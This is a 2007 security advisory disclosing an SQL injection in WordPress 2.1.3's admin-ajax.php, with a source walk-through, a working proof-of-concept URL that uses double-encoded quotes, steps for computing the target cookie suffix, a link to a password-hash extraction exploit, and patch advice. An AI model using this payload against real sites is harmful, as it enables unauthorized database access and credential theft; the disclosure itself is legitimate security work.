Date: 21 May 2007 12:20:03 -0000
From: [email protected]
To: [email protected]Subject: [waraxe-2007-SA#050] - Sql Injection in WordPress 2.1.3
X-Virus-Scanned: antivirus-gw at tyumen.ru
[waraxe-2007-SA#050] - Sql Injection in WordPress 2.1.3
Author: Janek Vind "waraxe"
Date: 21. May 2007
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-50.html
Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerable: WordPress 2.1.3
Patched: WordPress 2.2
http://www.wordpress.org/
Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1. critical sql injection in "admin-ajax.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Let's have look @ source code of "wp-admin/admin-ajax.php" ~ line 6:
------------------[source code]----------------------
define('DOING_AJAX', true);
check_ajax_referer();
if ( !is_user_logged_in() )
die('-1');
------------------[/source code]----------------------
Now let's take a peek at "check_ajax_referer()"
------------------[source code]----------------------
function check_ajax_referer() {
$cookie = explode('; ', urldecode(empty($_POST['cookie']) ?
$_GET['cookie'] : $_POST['cookie'])); // AJAX scripts must pass
cookie=document.cookie
foreach ( $cookie as $tasty ) {
if ( false !== strpos($tasty, USER_COOKIE) )
$user = substr(strstr($tasty, '='), 1);
if ( false !== strpos($tasty, PASS_COOKIE) )
$pass = substr(strstr($tasty, '='), 1);
}
if ( !wp_login( $user, $pass, true ) )
die('-1');
------------------[/source code]----------------------
We can see "urldecode()" in use ...
So by using "%2527" we can deliver single quotes to "wp_login()",
effectively bypassing php's "magic_quotes" feature!
Hmm, let's proceed further:
------------------[source code]----------------------
function wp_login($username, $password, $already_md5 = false) {
global $wpdb, $error;
...
$login = get_userdatabylogin($username);
------------------[/source code]----------------------
And finally:
------------------[source code]----------------------
function get_userdatabylogin($user_login) {
global $wpdb;
...
if ( !$user = $wpdb->get_row("SELECT * FROM $wpdb->users
WHERE user_login = '$user_login'") )
return false;
------------------[/source code]----------------------
So really there seems to be exist sql injection possibility.
Now it's time for some proof-of-concept fun :)
------------------[PoC test]-----------------------
http://localhost/wordpress.2.1.3/wp-admin/admin-ajax.php?
cookie=wordpressuser_5a136e6377f39b00c76957953df945db%253dx%2527gotcha
;+wordpresspass_5a136e6377f39b00c76957953df945db%253dx
------------------[/PoC test]----------------------
... and if WordPress sql error feedback is enabled, then we can see
nice error message:
WordPress database error: [You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for
the right syntax to use near 'gotcha'' at line 1]
SELECT * FROM wp_users WHERE user_login = 'x'gotcha'
Yeah, it works!! But before testing that PoC cookie suffix must be changed
to currently valid. Here is how it goes:
Example target is: http://localhost/wordpress.2.1.3/wp-admin/admin-ajax.php
Base url for WordPress installation is: http://localhost/wordpress.2.1.3
And suffix is:
md5('http://localhost/wordpress.2.1.3') = '5a136e6377f39b00c76957953df945db'
And final variable names:
wordpressuser_5a136e6377f39b00c76957953df945db
wordpresspass_5a136e6377f39b00c76957953df945db
One more time: for every target must be calculated specific suffix!
OK, now about exploiting ...
It seems that blind fishing is only method for this security hole.
There is exploit, I have written in php, which will retrieve from database
WordPress admin password md5 hash within few minutes.
Get it from here:
http://www.waraxe.us/ftopict-1776.html
//-----> See ya soon and have a nice day ;) <-----//
How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
WordPress newest version 2.2 is immune against this sql injection.
So --> http://wordpress.org/download/ <-- update it NOW!
Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Greets to LINUX, Heintz, slimjim100, shai-tan, y3dips, Sm0ke, Chb
and all other people who know me!
Special greets goes to Raido Kerna.
Tervitusi Torufoorumi rahvale!
Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[email protected]
Janek Vind "waraxe"
Homepage: http://www.waraxe.us/
Shameless advertise:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Axing url for easy use - http://urlaxe.com/
All about sql injections - http://sqlaxe.com/
---------------------------------- [ EOF ] ------------------------------------
